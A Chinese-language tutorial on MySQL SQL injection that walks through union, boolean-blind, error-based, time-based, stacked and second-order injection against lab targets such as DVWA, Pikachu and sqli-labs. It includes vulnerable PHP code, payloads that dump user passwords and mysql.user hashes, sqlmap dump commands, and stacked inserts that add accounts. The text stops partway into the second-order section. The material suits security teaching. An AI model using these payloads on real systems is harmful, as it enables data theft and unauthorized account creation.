
漏洞描述
SQL注入指的是web应用对用户输入数据没有经过严格的判断和过滤,用户可以自由输入参数,且输入的参数被带到数据库中直接作为查询的参数。攻击者通过构造特殊参数改变了SQL语句原本的逻辑,执行攻击者指定的操作(如查询数据、下载数据、写入 webshell、执行系统命令以及绕过登录限制等)。其本质就是违背了“数据与代码分离”的原则,把用户输入的参数当作代码来执行。
SQL注入的两个条件:用户可以控制前端传给后端的参数内容;用户输入的参数会被带入数据库,拼接到SQL语句中进行查询。
Mysql相关知识
information _schema库
在MySQL 5.0版本之后,MySQL默认在数据库中存放一个名为“information_schema”的数据库。在该库中,需要关注三个表,分别是SCHEMATA、TABLES和COLUMNS。
SCHEMATA表存储该用户创建的所有数据库的库名,该表中记录数据库库名的字段名为SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,该表中记录数据库库名、表名和字段名的字段名分别为TABLE_ SCHEMA、TABLE_NAME和COLUMN_NAME。
常用函数
对Mysql注入时经常用到下面三个函数:
DATABASE():返回当前选择的数据库名。如果未选择任何数据库,则返回 NULL。
VERSION():返回当前 MySQL 服务器的版本信息。
USER():返回当前 MySQL 会话中登录用户的信息,包括用户名和主机名。
注释符
“#” 表示单行注释,在 URL 编码中字符“#”编码是 %23。
“--空格” 表示单行注释,注意为短线短线空格。(在url编码中用“+“或者%20表示空格)
“/*......*/” 多行注释,常用来作为空格
“/*! code */” 内联注释,注释的内容是SQL语句,只有在 MySQL 数据库版本符合特定条件时才会被执行,而在其他版本或数据库系统中则会被忽略。
发送请求时参数的位置
URL中:GET 请求的参数经常放在URL 中,GET请求的URL传参有长度限制。
POST 请求体中:POST 请求参数经常放在POST请求体中,长度没有限制。
COOKIE中:COOKIE也能存放参数,提交的时候 服务器会从请求头获取。
其它请求头中:......
参数的数据类型
int 整型
select * from users where id=1
sting 字符型
select * from users where username='admin'
like 搜索型
select * from news where title like '%标题%'
Union联合注入
相关知识
Union 联合查询
在 MySQL 中,UNION 用于将两个或多个 SELECT 查询的结果组合为一个结果集。
语法如下
SELECT column1, column2, ... FROM table1 WHERE condition
UNION
SELECT column1, column2, ... FROM table2 WHERE condition;
ORDER BY子句
ORDER BY 是 SQL 中用于对查询结果进行排序的子句,它按照指定的列对结果进行 升序(ASC)或 降序(DESC)排序。列可以通过名称(如 column_name)或位置(如 1、2 表示第一列、第二列)指定,如果指定的列不存在,数据库会抛出错误。
语法如下
SELECT column1, column2, ... FROM table1 WHERE condition ORDER BY column1;
占位符
占位符是一种临时的、无实际业务意义的值,用于填充查询的某些位置,使其符合语法要求或满足特定的逻辑需要。占位符的主要目的是为了确保 SQL 查询的结构完整性,特别是在不需要具体数据或暂时无法提供实际数据时。
字符串占位符:使用字符串填充查询结果中的列。
数字占位符:使用简单的数字(如 1, 2, 3)填充查询结果中的列。
示例:SELECT 1, 2, 3;
返回:
子查询
在 MySQL 中,SELECT 子查询是一种嵌套查询技术,用于在一个查询中嵌套另一个查询。子查询可以作为主查询的一部分,提供数据以供主查询使用。子查询通常用于提高查询的灵活性和复杂性。
在 SELECT 子句中:子查询返回一个值,常用于主查询的列计算。
示例:显示每个员工的工资和部门的平均工资
SELECT employee_id, salary,(SELECT AVG(salary) FROM employees WHERE department_id = e.department_id) AS avg_department_salary
FROM employees e;
LIMIT 关键字
在 MySQL 中,LIMIT 关键字用于限制 SQL 查询结果集中返回的记录数,通常用于分页查询、大量数据的截取以及提高查询效率。
基本语法
指定起始位置和返回记录数
SELECT * FROM employees LIMIT 10, 5;
作用:跳过前 10 条记录,从第 11 条记录开始,返回 5 条记录。第一个参数 10 是偏移量(可省略,省略时从第0条记录算起),第二个参数 5 是返回的记录数。
GROUP_CONCAT() 函数
GROUP_CONCAT() 是一个 MySQL 聚合函数,用于将一个分组内的多行值连接成一个字符串。它可以按照指定的分隔符或顺序对结果进行拼接。
将多行合并为一行
例如,将某个用户的所有角色显示为一个逗号分隔的字符串:
SELECT user_id, GROUP_CONCAT(role_name) AS roles FROM user_roles GROUP BY user_id;
用于子查询
通过子查询使用 GROUP_CONCAT() 获取复杂拼接数据:
SELECT department,
(SELECT GROUP_CONCAT(name) FROM employees e
WHERE e.department = d.department) AS employee_list
FROM departments d;
CONCAT() 函数
CONCAT() 是 MySQL 中的字符串函数,用于将两个或多个列的值拼接成一个字符串。
基本语法:CONCAT(string1, string2, ..., stringN)
string1, string2, ..., stringN:要拼接的字符串,可以是列名、字符串常量或表达式。
返回结果为所有输入字符串的拼接结果。
漏洞分析
前端:
在输入框输入参数并提交,前端将参数添加到URL中并以get方式发送请求,后端返回该参数的查询结果。
后端
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
上面这段代码的作用是接收用户通过 $_REQUEST 提供的输入,然后使用输入值在数据库中查询对应记录,最后将查询结果(first_name 和 last_name)显示给用户。观察被标记的代码会发现,获取用户输入的id参数后,并没有对其进行检查和过滤而是直接拼接到sql查询语句中,于是就产生了可被利用的漏洞。
漏洞利用
注入测试
观察代码,可以看到参数是由单引号包围的字符串。在参数“1”的基础上添加一个单引号和注释符,可以看到其结果和仅输入“1”时的结果相同:
这是因为输入参数被拼接到SQL语句中后被识当作字符串,参数中的单引号与原本的左单引号闭合用于标识这个字符串,并且参数中的注释符使得右单引号失效,整体来看参数“1”和参数“1’#”是等效的:(第二句会把sql语句结尾的“;”也会注释掉,但是MySQL 的查询并不强制要求 SQL 语句以分号结尾,分号是多语句的分隔符)
SELECT first_name, last_name FROM users WHERE user_id = '1';
SELECT first_name, last_name FROM users WHERE user_id = '1’#';
输入“1' and 1=1#”会看到结果和输入“1”是相同的,这是因为输入“1' and 1=1#”后WHERE子句的筛选条件变成了user_id = '1' and 1=1#,由于1=1恒为真,所以筛选结果和user_id = '1'相同:
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
而输入1' and 1=2#后,WHERE子句的筛选条件变成了user_id = '1' and 1=2#,由于1=2是恒为假,没有数据符合筛选条件,所以结果为空:
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';
对比这两次不同的输入以及对应结果会发现,特意构造的参数已经改变了SQL语句原本的逻辑,且执行结果与修改后的语句逻辑相符,说明注入有效。
判断回显位
在白盒模式下,通过对代码的分析很容易看出查询结果的列数以及哪几列最终会返回到前端供用户查看(回显位)。示例的查询结果共有2列,且2列都返回给前端:
$query = "SELECT first_name, last_nameFROM users WHERE user_id = '$id';";
......
while( $row = mysqli_fetch_assoc( $result ) ) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
但是在黑盒模式下,则需要额外注入一些语句来判断。此时就需要用到ORDER BY子句来判断查询结果的列数:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by n#';
输入1' order by 1#
输入1' order by 2#
输入1' order by 3#
报错,说明查询结果共2列
此时还需要知道查询结果中的哪几列是回显位,可以用UNION关键字构造一个联合查询。UNION关键字连接原本的SELECT语句,后面再拼接一个由数字占位符填充的SELECT语句:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2#';
联合查询会将这两个SELECT语句的结果组合成一个结果集,由于该示例返回了结果集中的所有结果,直接查看前端返回了哪些数字占位符便可知哪些列是回显位:
在有些情况下,后端只会返回结果集中的一个结果,这会导致我们看不到想要的内容,这时可以第一条语句的id参数设为-1,使第一条SELECT语句的结果为空,这样就会返回第二条语句的结果:
SELECT first_name, last_name FROM users WHERE user_id = '-1' union select 1,2#';
或者用LIMIT关键字在结果集中跳过我们不关心的内容而截取我们指定的结果,只返回第二条SELECT语句的结果:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 limit 1,1#';
正式注入
在确定哪些列是回显位之后,可以继续构造第二条SELECT语句进行正式的查询。回显位上的数字占位符可以替换为函数、字段名和SELECT子查询,用于回显想要的信息。查询MYSQL版本和当前数据库的库名:
SELECT first_name, last_name FROM users WHERE user_id = '1' union
select version(),database()
limit 1,1#';
在information_schema库中查询当前数据库(dvwa)有哪些表。为提升注入效率,用group_concat()函数将所有表名连接成字符串一次性全部返回:
SELECT first_name, last_name FROM users WHERE user_id = '1' union
select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'
limit 1,1#';
在information_schema库的columns表中查询users表里有哪些字段:
SELECT first_name, last_name FROM users WHERE user_id = '1' union
select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'
limit 1,1#';
用select子查询可以有同样的效果:
SELECT first_name, last_name FROM users WHERE user_id = '1' union
select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')
limit 1,1#';
查询users表中user和password两个字段的所有内容:
SELECT first_name, last_name FROM users WHERE user_id = '1' union
selectgroup_concat(user),group_concat(password) from users
limit 1,1#';
查询到的密码以MD5的方式加密过,通过在线解密网站解密得到密码的明文:
Boolean布尔盲注
相关知识
函数IF()
在 MySQL 中,IF() 是一个条件函数,用于根据给定的条件返回不同的值。
语法:IF(condition, true_value, false_value)
- condition: 一个表达式,返回 TRUE或 FALSE。
- true_value: 如果 condition为 TRUE 时返回的值。
- false_value: 如果 condition为 FALSE 时返回的值。
函数SUBSTRING()
SUBSTRING() 是 MySQL 中的一个字符串处理函数,用于从指定字符串中提取部分子字符串。它通过指定起始位置和长度来完成提取操作。
语法:SUBSTRING(string, position, length)
- string:要操作的字符串。
- position:开始提取的字符位置(索引从 1 开始)。可以是正数或负数:
- 正数:从字符串开头计算。
- 负数:从字符串末尾向前计算。
- length(可选):要提取的子字符串的长度。如果省略,则从起始位置提取到字符串末尾。
与 SUBSTRING()类似的函数
SUBSTR():功能和 SUBSTRING() 完全相同,语法一致。
MID():仅适用于从正数位置开始的子字符串提取,语法与 SUBSTRING() 相同。
LEFT():从字符串开头提取指定长度的子字符串。语法: LEFT(string, length)
RIGHT():从字符串末尾提取指定长度的子字符串。语法: RIGHT(string, length)
函数LENGTH()
LENGTH()函数的作用
在 MySQL 中,LENGTH() 是一个字符串函数,用于计算字符串的长度(以字节为单位)。
语法:LENGTH(string)
- string:要计算长度的字符串。
- 返回值是字符串的长度,以 字节数表示。
ASCII字符集中的字符都是单字节字符,字符串长度等于字符数,而UTF-8 中的中文,每个字符占 3 字节。
类似的函数
CHAR_LENGTH()或 CHARACTER_LENGTH()
- 计算字符串中的 字符数(而非字节数)。
- 对于单字节字符集(如 latin1),LENGTH()和 CHAR_LENGTH() 返回相同结果。
- 对于多字节字符集(如 utf8),CHAR_LENGTH()返回的是字符数,而 LENGTH() 返回的是字节数。
OCTET_LENGTH()
- 返回字符串的字节长度,与 LENGTH()等效。
漏洞分析
前端交互:
在输入框中输入参数ID,提交后只返回两种情况:此用户ID是否存在,而不会返回查询结果的内容。
后端代码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
后端在获取到参数ID后,也是直接将未经检验的参数拼接到SQL语句中。但跟联合注入不同的是,后端并没有将查询结果中的相关内容返回给前端,而是检查结果集中是否有结果,然后告知前端用户ID是否存在。也就是说,我们只能得到真(ID存在)和假(ID不存在)两种结果。
漏洞利用
注入测试
可以看到拼接到SQL语句中的参数是由单引号标识的字符串,在参数中添加一个单引号使标识符提前闭合,再添加一个注释符注释掉多余的单引号:
SELECT first_name, last_name FROM users WHERE user_id = '1' #';
输入1'and 1=1#
SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=1#';
输入1'and 1=2#
SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=2#';
结果和预期相同,说明注入有效。
正式注入
选取逻辑运算符
由于只能得到真或假(有或无)两种结果,不妨像注入测试时一样在WHERE子句中用AND连接一个逻辑表达式,当AND左边的条件语句为真时,WHERE子句的值取决于AND右边的逻辑语句。反过来看,最终返回结果的有或无反映了逻辑语句的真假。
原本的条件语句存在为真的情况,则结果集不为空:
SELECT first_name, last_name FROM users WHERE user_id = '1' #';
And连接的条件语句为真时,则结果集也不为空:
SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=1#';
And连接的条件语句为真时,则结果集为空:
SELECT first_name, last_name FROM users WHERE user_id = '1'and 1=2#';
同理,也可以选取OR连接逻辑表达式,不过OR左边的条件表达式需要始终为假,使WHERE子句的值取决于后面条件语句。
通过条件表达式获取信息
获取当前数据库名字的长度:
SELECT first_name, last_name FROM users
WHERE user_id = '1' andlength(database())=3 #';
SELECT first_name, last_name FROM users
WHERE user_id = '1' andlength(database())=4 #';
MYSQL常用的字符如下:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
用这些字符尝试匹配库名中的每个字符,最终获得完整的库名。
获取当前数据库名字第1个字符:
SELECT first_name, last_name FROM users
WHERE user_id = '1' andsubstr(database(),1,1)='a' #';
SELECT first_name, last_name FROM users
WHERE user_id = '1' and substr(database(),1,1)='d' #';
获取当前数据库名字第4个字符:
SELECT first_name, last_name FROM users
WHERE user_id = '1' and substr(database(),4,1)='a' #';
以此类推,把返回结果作为逻辑表达式的判断依据逐步判断出数据库名、表名、字段名以及字段值。
使用burpsuite加快注入
逐个测试字符串中的每个字符是哪个常用字符时这个过程会很繁琐,因该使用自动化的工具来做这些重复的动作。 Burpsuite中的Intruder模块中有一个Cluster bumb模式,这种攻击使用多个载荷集,对于每个定义的位置,都有一个不同的载荷集,攻击依次遍历每个载荷集,从而测试所有载荷组合的排列组合(笛卡尔积)。
首先,构造尝试匹配字符串中某个字符的注入:
SELECT first_name, last_name FROM users
WHERE user_id = '1' andsubstr(database(),1,1)='a' #';
打开burpsuit代理,将构造的注入作为参数输入并提交:
把burpsuite拦截的请求包内容发送到Intruder模块,选择Cluster bumb模式:
在请求包中找到id参数(1' andsubstr(database(),1,1)='a' #),并将参数中的两个位置标记为变量:database()的第二个参数;字符“a”
database()中变量的载荷设置为1到4的整数:
字符“a”处的变量载荷设置为MYSQL的常用字符:
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
根据状态码或响应长度判断结果为真的响应,payload1表示字符在字符串中的位置,payload2表示该位置的字符,所以当前数据库的名字为:dvwa
以此类推,便可获取更多信息。
获取所有的表名:
1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='g' #
添加三个变量:分别控制第几个表名、表名的第几个字符、用于猜测的字符
得到两个表名:guestbook、users
获取users表字段
1' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='u' #
添加三个变量:分别控制第几个字段、字段的第几个字符、用于猜测的字符
根据结果拼凑出字段名:
user_id、first_name、last_name、user、password、avatar、last_login、failed_login
获取user和password的字段值
1' and (substr((select concat(user,':',password) from users limit 0,1),1,1))='a' #
添加两个变量:字段的第几个字符、选取的字符
拼凑出第一条记录的用户名和密码:
报错注入
相关知识
获取数据库报错信息
在 PHP 中,mysqli_error() 和 mysqli_connect_error() 是与 MySQL 数据库交互时用于获取错误信息的两个函数,它们的作用如下:
- mysqli_error()
作用:用于获取最近一次 MySQL 操作中发生的错误信息。
语法:mysqli_error($link)
$link:是一个 MySQLi 连接对象,表示与 MySQL 数据库的连接。
返回值:返回一个字符串,表示最近一次 MySQL 操作中发生的错误信息。如果没有错误发生,则返回空字符串。
- mysqli_connect_error()
作用:专门用于获取最近一次连接 MySQL 数据库时发生的错误信息。
语法:mysqli_connect_error()
该函数不需要传递参数,因为它只与最近一次调用 mysqli_connect() 或 mysqli_real_connect() 时的连接错误相关。
返回值:返回一个字符串,表示最近一次连接数据库时发生的错误信息。如果没有连接错误,则返回 NULL。
使用场景:当调用 mysqli_connect() 或 mysqli_real_connect() 连接数据库失败时,可以通过 mysqli_connect_error() 获取具体的连接错误信息,以便快速定位问题。
数据库中报错注入相关函数
floor():数学函数,返回小于或等于给定数值的最大整数。
用法示例:SELECT FLOOR(3.7);
-- 返回 3
extractvalue():用于从XML字符串中提取与指定XPath表达式匹配的值。
用法示例:
SELECT EXTRACTVALUE('<root><item>value</item></root>', '/root/item');
-- 返回 'value'
updatexml():用于修改XML字符串中与指定XPath表达式匹配的部分,并返回修改后的XML。用法示例:
SELECT UPDATEXML('<root><item>value</item></root>', '/root/item', 'new_value');
-- 返回 '<root><item>new_value</item></root>'
geometrycollection():用于创建一个GeometryCollection对象,该对象可以包含多种几何类型(如点、线、面)。
用法示例:SELECT GEOMETRYCOLLECTION(POINT(1 1), LINESTRING(0 0, 2 2));
-- 创建一个包含点和线的集合
multipoint():用于创建一个MultiPoint对象,即多个点的集合。
用法示例:SELECT MULTIPOINT((1 1), (2 2), (3 3));
-- 创建一个包含三个点的集合
polygon():用于创建一个Polygon对象,即多边形。
用法示例:SELECT POLYGON((0 0, 0 1, 1 1, 1 0, 0 0));
-- 创建一个四边形
multipolygon():用于创建一个MultiPolygon对象,即多个多边形的集合。
用法示例:SELECT MULTIPOLYGON(((0 0, 0 1, 1 1, 1 0, 0 0)), ((2 2, 2 3, 3 3, 3 2, 2 2)));
-- 创建两个多边形的集合
linestring():用于创建一个LineString对象,即由一系列点连接而成的线。
用法示例:SELECT LINESTRING(0 0, 1 1, 2 2);
-- 创建一条从 (0,0) 到 (2,2) 的线
multilinestring():用于创建一个MultiLineString对象,即多条线的集合。
用法示例:SELECT MULTILINESTRING((0 0, 1 1), (2 2, 3 3));
-- 创建两条线的集合
exp():数学函数,返回e(自然对数的底数,约等于2.71828)与给定数值的幂。
用法示例:SELECT EXP(1);
-- 返回 e 的值
漏洞原理
数据库在执行时,遇到语句的语法不正确时,会显示报错信息。php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。如果服务器将报错信息返回到用户页面,便可以采用报错注入。
代码解析:
$query="SELECT first_name, last_name FROM users WHERE user_id = '$id';;
构建一个 SQL 查询语句,从 users 表中获取指定 user_id 的用户的 first_name 和 last_name。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
执行查询并处理错误
使用 mysqli_query 函数执行前面构建的 SQL 查询,并将结果存储在 $result 变量中。如果查询执行失败,使用 die() 函数输出错误信息并终止脚本执行。
is_object($GLOBALS["___mysqli_ston"]):检查数据库连接是否为有效的对象。
mysqli_error($GLOBALS["___mysqli_ston"]):获取最近一次数据库操作的错误信息。
mysqli_connect_error():获取最近一次连接错误的错误信息。
使用函数制造报错
利用特定的数据库函数,如floor()、extractvalue()和updatexml(),可以诱使数据库返回包含敏感信息的错误消息。
1.floor()
select * from test where id=1 and (select 1 from (select
count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);
Mysql报错注入之floor(rand(0)*2)报错原理探究 - FreeBuf网络安全行业门户
关于floor()报错注入,你真的懂了吗? - FreeBuf网络安全行业门户
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
在使用 MySQL 的 updatexml() 函数进行报错注入时,错误信息的输出长度存在限制,通常不能超过 32 个字符。这意味着,如果查询的内容较短,可以完整显示;但如果内容较长,可能导致显示不全。
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select *
from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select
user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select
user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select
user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(selectuser())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select
user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
漏洞利用
目标:首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容。
获取库名
用and逻辑符连接一个当前数据库不存在的函数: 1' and info()#
数据库在执行时会报错:当前的XXX数据库没有这个函数
或者使用updatexml():
1' and (updatexml(1,concat(0x7e,(database()),0x7e),1))#
获取mysql账号密码
mysql.user 表是 MySQL 数据库中一个非常重要的系统表,用于存储用户账户信息、权限设置以及其他与用户相关的配置。以下是关于 mysql.user 表的详细介绍:
mysql.user 表包含以下主要字段:
字段名称 | 说明 |
Host | 允许用户连接的主机名或 IP 地址。% 表示任何主机,localhost 表示本地主机。 |
User | 用户名,与 Host 一起作为表的主键。 |
authentication_string | 存储用户的认证信息(如密码的哈希值)。 |
plugin | 指定用于用户认证的插件。 |
password_expired | 表示密码是否过期(Y 或 N),过期后用户需要重置密码。 |
account_locked | 表示账户是否被锁定(Y 或 N),锁定后用户无法登录。 |
Select_priv、Insert_priv、Update_priv 等 | 全局权限字段,表示用户对所有数据库的权限。 |
ssl_type、ssl_cipher 等 | 与 SSL/TLS 加密相关的字段。 |
max_questions、max_updates 等 | 资源限制字段,用于限制用户的查询次数、 |
select authentication_string from mysql.user limit 1;
获取账号和密码需要足够大的权限(如root 用户)
1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1)#
因为updatexml()输出的长度限制,只输出了前32个字符:
1' and updatexml(1,concat(0x7e,(select substr(authentication_string,32,40) from mysql.user limit 1),0x7e),1)#
继续输出剩下的字符:
获取表名
使用floor()函数,获取第一个表名:
1'and(select 1 from (select count(*),concat((SELECT concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1), floor(rand(0)*2))x from information_schema.tables group by x)a)#
获取第二个表名:修改最内层select语句,将limit 0,1改为limit 1,1
1'and(select 1 from (select count(*),concat((SELECT concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1), floor(rand(0)*2))x from information_schema.tables group by x)a)#
获取字段名
在最内层的slect语句中去掉limit关键字,使用group_concat()函数将所有字段拼接成一个字符串一同输出:
1'and(select 1 from (select count(*),concat(
(SELECT group_concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name='users' )
, floor(rand(0)*2))x from information_schema.columns group by x)
- #
因为长度限制,group_concat()未能将所有字段名一次性全部输出,字符串被截断:
继续使用limit关键字,并使用burpsuite批量获取字段:
构造输入并抓包:
1'and(select 1 from (select count(*),concat(
(SELECT concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name='users' limit 0,1)
, floor(rand(0)*2))x from information_schema.columns group by x)
- #
将limit 0,1中的0标记为变量:
设置载荷:
设置获取网页中的固定内容:
开始攻击,然后查看获取的内容:
获取字段内容
对user表的user和password字段的内容进行查询
构造输入,输出user和password:
1'and(select 1 from (select count(*),concat((SELECT concat(0x7e,'user:',user,' ','password:',password,0x7e) FROM users limit 0,1 ), floor(rand(0)*2))x from information_schema.columns group by x)a)#
抓包并添加变量,设置载荷:
设置获取响应固定部分的内容:
开始攻击:
Sql注入进阶
时间注入
相关知识
Sleep()函数
在 MySQL 中,SLEEP() 函数用于使当前线程暂停执行指定的时间。 该函数接受一个参数,表示暂停的秒数,可以是整数或小数。 函数执行完毕后返回 0。
用法示例:SELECT SLEEP(2);
上述语句将使当前线程暂停 2 秒,然后返回 0。
Benchmark()函数
在 MySQL 中,BENCHMARK() 函数用于重复执行指定的表达式,以评估其性能。 它的语法如下:BENCHMARK(loop_count, expression)
其中,loop_count 是要执行表达式的次数,expression 是要评估的表达式。 该函数的返回值始终为 0,但通过查看查询的执行时间,可以评估表达式的性能。
使用示例:SELECT BENCHMARK(1000000, MD5('hello'));
上述语句将对字符串 'hello' 执行 1,000,000 次 MD5 哈希计算。 虽然返回值为 0,但通过查询执行时间,可以评估 MD5 函数的性能。
漏洞原理
无论输入什么内容,都没有回显有用信息,只有一句无关紧要的话。
查看源代码可知,输入的参数未经过过滤直接被拼接到数据库中查询,但是服务器响应时既不返回查询结果也不返回报错信息,而只是返回一个字符串。
这样的话,前面的union注入、bollean注入和报错注入无法生效。但是可以通过使用sleep()这样的延时函数获取信息。
方法:
给输入的参数用逻辑符连接一个条件判断语句:1' and if(2>1,sleep(5),1)#
当条件成立时延时5秒,不成立时正常响应,然后根据响应时间的差异我们便知道判断的条件是否成立。
时间注入攻击
使用sqlmap进行时间注入
sqlmap -u "http://192.168.26.1/06/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入
payload为:' AND (SELECT 5263 FROM (SELECT(SLEEP(5)))oNZx) AND 'pzHs'='pzHs
通过时间注入获取数据库的名、用户权限、表、字段等敏感信息。
sqlmap -u "http://192.168.26.1/06/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
sqlmap -u "http://192.168.26.1/06/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -D pikachu --tables --batch
获取表 -D 指定数据库
--tables 获取表
sqlmap -u "http://192.168.26.1/06/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -D pikachu -T users --columns --batch
-T 某个表
--columns 获取字段
sqlmap -u "http://192.168.26.1/06/vul/sqli/sqli_blind_t.php?name=&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -D pikachu -T users -C "id,username,password" --dump --batch
-C 指定查询的字段
--dump 导出数据
堆叠注入
相关知识
mysql_multi_query()和mysqli_multi_query()函数
在 PHP 中,mysqli_multi_query() 函数用于一次性执行多条 SQL 语句。 这些语句以分号(;)分隔,函数会依次执行每一条语句。
其基本语法如下:mysqli_multi_query(connection, query);
connection:必需,表示要使用的 MySQL 连接。
query:必需,包含一个或多个以分号分隔的 SQL 查询语句。
需要注意的是,PHP 中并没有名为 mysql_multi_query 的函数。 mysql 扩展在 PHP 5.5.0 中已被废弃,并在 PHP 7.0.0 中被移除,建议使用 mysqli 扩展替代。
漏洞原理
当服务器使用 mysqli_multi_query() 时,利用数据库支持一次执行多条语句的特性,攻击者可以通过在输入中添加分号,插入额外的恶意 SQL 语句,这样的漏洞成为堆叠漏洞。堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
漏洞利用
Less-38
程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注入。
先使用union注入获取库中的表名和字段名,再用堆叠查询进行操作。
获取表名:
id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema=database()--+
获取users表的字段:
id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name=’users’--+
使用堆叠注入:
获取字段名后可以使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。
id=-1' ; insert into users (id,username,password) values (18,’stan’,’lee’)--+
插入后访问id=18
虽然堆叠注入只能返回第一条语句的结果,但是仍能够查询内容。在插入内容时将查询语句的结果作为插入字段的值,内容插入成功后再访问刚刚插入的内容便成功获得查询结果。
插入查询语句作为字段的值:
id=-1' ; insert into users (id,username,password) values (19,user(),database())--+
插入后访问:
......
二次注入
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次
注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞
相同的攻击威力。
注入原理: 在第一次进行数据库插入数据的时候,仅仅只是使用addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入图解:
代码分析
创建账户:
